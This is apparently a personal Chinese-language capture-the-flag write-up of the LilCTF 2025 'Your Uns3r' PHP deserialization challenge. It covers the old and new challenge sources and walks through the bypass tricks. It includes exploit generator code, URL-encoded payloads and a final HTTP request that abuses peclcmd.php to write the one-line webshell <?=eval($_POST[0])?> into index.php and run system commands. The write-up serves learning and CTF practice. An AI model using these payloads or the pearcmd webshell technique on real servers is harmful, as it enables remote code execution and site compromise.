这道题非常推荐去看出题人的视频认真看,教了怎么样通过提示去查阅 Python doc 搞到源码。

遗留问题

复现的时候 token 一直不对,在环境变量没问题的情况下,添加 3.14 解释器显示的是 3.10……

Your Uns3r

这道题我们得分旧版代码和新版代码,因为比赛的时候和赛后出题人放出来的源码是不一样的。

旧版

先放比赛时候的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

先看 User 类的 exec:

1
2
3
4
5
6
public function exec()
{
//也就是ser得是access
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());

反序列化又序列化等于没动,再反序列化,也就是说这里 value 是个反序列化的字符串。下面又是 ser 不等于 value,还要是 Access 的类,写了一大堆花里胡哨的,其实就是 value 等于序列化过后的 Access。也就是说我们要先自己运行出我们需要的 Access。

1
$result = $this->prefix . 'lilctf' . $this->suffix;

进行一个防止路径穿越的无用过滤。

1
2
3
4
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

说实话目前还没搞懂pearcmd出现在这里的意义。

1
2
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");

不允许 admin 和 Access 一起出现,但是反序列化里是大小写不敏感的改成 access 就好了。

注意,在本地复现的时候,要把 url 编码后的 payload 再解码回来,不然 IDE 不认识。

一种略有错误的解法

先把 Access 序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Access
{
protected $prefix ="php://filter/convert.base64-encode/resource=/";
protected $suffix ="/../flag";

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
return $result;

}
}

//$a = new Access();
//echo urlencode(serialize($a));
//O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D

这样拼出来的路径就是:/lilctf/../flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class User
{
public $username = "admin";
public $value = 'O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A3%3A%22..%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A11%3A%22..%2Fflag.txt%22%3B%7D';
public function exec()
{
$ser = serialize(unserialize(urldecode($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
//也就是ser得是access
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}

$b = new User();
$c=array(new User(),0);
echo urlencode(serialize($c));
//a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A207%3A%22O%253A6%253A%2522Access%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A52%253A%2522php%253A%252F%252Ffilter%252Fread.convert%253Dbase64-encode%252Fresource%253D..%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500suffix%2522%253Bs%253A5%253A%2522%252Fflag%2522%253B%257D%22%3B%7Di%3A1%3Bi%3A0%3B%7D

$c=array(new User(),0);

i%3A1%3Bi%3A0

这里要把 1 改成 0 绕过 GC 回收机制。

$ser = serialize(unserialize(urldecode($this->value)));

这里的 urldecode 是我自己加的。

所以到题目里会不过,这里主要是让序列化的 Access 二次编码了。

正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
class User
{
public $username = "admin";
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix ="php://filter/convert.base64-encode/resource=/";
protected $suffix ="/../flag";

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

//$sr = 'a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A203%3A%22O%253A6%253A%2522Access%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A45%253A%2522php%253A%252F%252Ffilter%252Fconvert.base64-encode%252Fresource%253D%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500suffix%2522%253Bs%253A8%253A%2522%252F..%252Fflag%2522%253B%257D%22%3B%7Di%3A0%3Bi%3A0%3B%7D';
//$ser = urldecode($sr);
//if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
// exit ("no way!!!!");
//}
//
//$user = unserialize($ser);
//throw new Exception("nonono!!!");
$user = new User();
$access = new Access();
$user->value = serialize($access);
$c=array($user,0);
echo urlencode(serialize($c));
//a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7Di%3A1%3Bi%3A0%3B%7D

生成的 payload 还要把 Access 改为 access,i%3A1%3Bi%3A0要把 1 改成 0。

变成:

1
user=a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7Di%3A0%3Bi%3A0%3B%7D

2025 LilCTF Web部分wp-CSDN博客

新版

变得更加难了……

https://lil-house.feishu.cn/wiki/MNoPwhht7iEgrIkPztRcNX4InbZ

由于原始代码并没体现出题人的完全的考点, 下面是修改后的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
if (strpos($this->value, 'S:') === false) {
$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {
include($instance->getToken());
}
} else {
throw new Exception("wanna ?");
}
}
public function __destruct()
{
if ($this->username === "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix . '.php';
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (stripos($ser, 'admin') !== false || stripos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

我们来看看改了什么地方……

1
if ($this->username === "admin") {

可能我们第一眼不知道为什么从弱比较变成强比较了,事实上之前的弱比较可以直接让 username=true,在 PHP 里,== 会自动做类型转换:如果是 字符串和布尔值比较,字符串只要不是空字符串 "",都会被当作 true,所以 "admin" == true 成立,"hello" == true 也成立。或者这里让 username 等于 0 也行。

1
2
3
if (stripos($ser, 'admin') !== false || stripos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

从strpos 变成stripos,从大小写敏感变成了大小写不敏感,也就是不能直接改类名来绕过了。

变得更加有难度了…..

我们可以利用不完整类来让作为 __PHP_Incomplete_Class_Name 的成员变为类名, 这样也会让两次反序列化结果不一致

具体写一下这个是什么,PHP 反序列化(unserialize())时,如果遇到一个类名,PHP 会去找这个类 Access 是否存在。如果类存在:就创建该类对象。如果类 不存在:PHP 会创建一个特殊对象:

1
__PHP_Incomplete_Class_Name

这个对象仍然保存原来的属性。但是类名被记录为 "Access"(保存在 __PHP_Incomplete_Class_Name 内部)。

我们这里手动把 Access 改成不存在的一个名字,比如LilRan反序列化时,PHP 发现类 LilRan 不存在,PHP 会生成一个 **__PHP_Incomplete_Class_Name**** 对象,**但是它会把原来的类名 "LilRan" 记录下来,属性依然保留。最后我们再偷偷加上一个属性__PHP_Incomplete_Class_Name

比较难理解的话,就想象成 Access 这个姓被仇人追杀,想要孩子活下来,只能先给孩子改一个其他的姓,但是告诉他其实你跟别人不一样,你原来的姓是 Access,这样孩子长大了仇人死了就可以认祖归宗(bushi)

1
2
if (strpos($this->value, 'S:') === false) {
$ser = serialize(unserialize($this->value));

这里也改了,但是实际上这里是个提示怎么绕过 admin 的,我们可以使用 S: + 十六进制来绕过。也就是S:5:"\61dmin类似于这样的东西。

这里 payload 里写的是:

1
$userser = str_replace(';s:5:"admin"', ';S:5:"\61dmin"', $userser);

实际上我现在还是没有搞明白,这里替换了,那if (strpos($this->value, 'S:') === false)这一条是怎么过的???好像是把最后一个括号去掉的,不对这是绕过 gc 的。

自己打印一下才知道,因为 value 里面存的是改名换姓的 Access,我们的;S:5:"\61dmin是在 User 类里面的。

1
$result = $this->prefix . 'lilctf' . $this->suffix . '.php';

复现半天没成功打印出来才发现多给我塞了个后缀。

看看出题人给的 exp:

1
2
3
4
$user = new User();
$token = new Access();
$user->username = 'admin';
$ser = serialize($token);

这里和之前一样。

1
2
3
$ser = str_replace('Access":2', 'LilRan":3', $ser);
$ser = substr($ser, 0, -1);
$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';

这里把类名改了,属性数量加一,再去掉最后一个符号},添上新的属性__PHP_Incomplete_Class_Name

1
2
$user->value = $ser;
$userser = serialize($user);

这里和之前也差不多。

1
$userser = str_replace(';s:5:"admin"', ';S:5:"\61dmin"', $userser);

替换,十六进制绕过。

1
2
$fin = substr($userser, 0, -1);
echo urlencode($fin) . "\n";

去掉最后一个符号,绕过 GC 回收机制。

剩下最后的问题,

1
2
protected $prefix = '/usr/local/lib/';
protected $suffix = '/../php/peclcmd.php';

这些是什么?

关于pearcmd.php的利用 - Yuy0ung - 博客园

1
2
3
4
5
POST /index.php?+config-create+/<?=eval($_POST[0])?>+/var/www/html/index.php HTTP/1.1
Host: xxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded

user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22%5C61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A147%3A%22O%3A6%3A%22LilRan%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A15%3A%22%2Fusr%2Flocal%2Flib%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A19%3A%22%2F..%2Fphp%2Fpeclcmd.php%22%3Bs%3A27%3A%22__PHP_Incomplete_Class_Name%22%3Bs%3A6%3A%22Access%22%3B%7D%22%3B&0=system('/readflag');

复现成功,别用 hackbar。

peclcmd.php 是什么?

  • peclcmd.php 是 PHP 自带的一个脚本,位置一般在:
1
/usr/local/lib/php/peclcmd.php
  • 它是 PEAR/PECL 包管理工具(类似 Python 的 pip、Node.js 的 npm)。
  • 本来是给开发者用来命令行执行 install / uninstall 扩展的。

⚠️ 但是!
这个脚本里实现了一些危险功能:
它会解析传入的参数,然后执行各种命令。
如果你能控制程序去“调用 peclcmd.php”,就等于拿到了一个“带后门的官方 PHP 脚本”,可以执行任意命令。


payload 里做了什么

看这一部分:

1
2
... "prefix": "/usr/local/lib/", 
"suffix": "/../php/peclcmd.php"

👉 意思是:攻击者通过反序列化,构造了一个对象,让程序去加载 /usr/local/lib/../php/peclcmd.php 这个文件。
也就是 强行调用 peclcmd.php

然后请求行里:

1
POST /index.php?+config-create+/<?=eval($_POST[0])?>+/var/www/html/index.php

这个是 传给 peclcmd.php 的参数

  • +config-create+ 是 peclcmd 支持的一个命令,作用是 生成配置文件
  • 后面跟的内容:
1
<?=eval($_POST[0])?>

就是写入配置文件的内容,相当于一句话木马。

  • /var/www/html/index.php
    这是目标文件路径,把木马写进首页 index.php。

整体流程

  1. 通过反序列化漏洞 → 控制 prefix/suffix → 让程序加载 peclcmd.php
  2. peclcmd.php 接收参数 → +config-create+ <?=eval($_POST[0])?> /var/www/html/index.php
  3. peclcmd 执行命令 → 把一句话木马写到 index.php。
  4. 访问 index.php 时,就能用 POST 参数远程执行命令,比如:
1
2
POST /index.php
0=system('id');
CATALOG
  1. 1. 我曾有一份工作(复现)
  2. 2. [LilCTF 2025]ez_bottle
    1. 2.0.1. 打的过程
    2. 2.0.2. 正确思路
      1. 2.0.2.1. 文件访问逻辑
    3. 2.0.3. 其他解法参考
  • 3. [WARM UP] 签到!真实世界的过期问卷(复现)
  • 4. [WARM UP] 接力!TurboFlash(复现)
  • 5. Ekko_note
    1. 5.1. 非预期
      1. 5.1.1. 遗留问题
    2. 5.2. 预期
      1. 5.2.1. 遗留问题
  • 6. Your Uns3r
    1. 6.1. 旧版
      1. 6.1.1. 一种略有错误的解法
      2. 6.1.2. 正确
    2. 6.2. 新版
      1. 6.2.1. peclcmd.php 是什么?
      2. 6.2.2. payload 里做了什么
      3. 6.2.3. 整体流程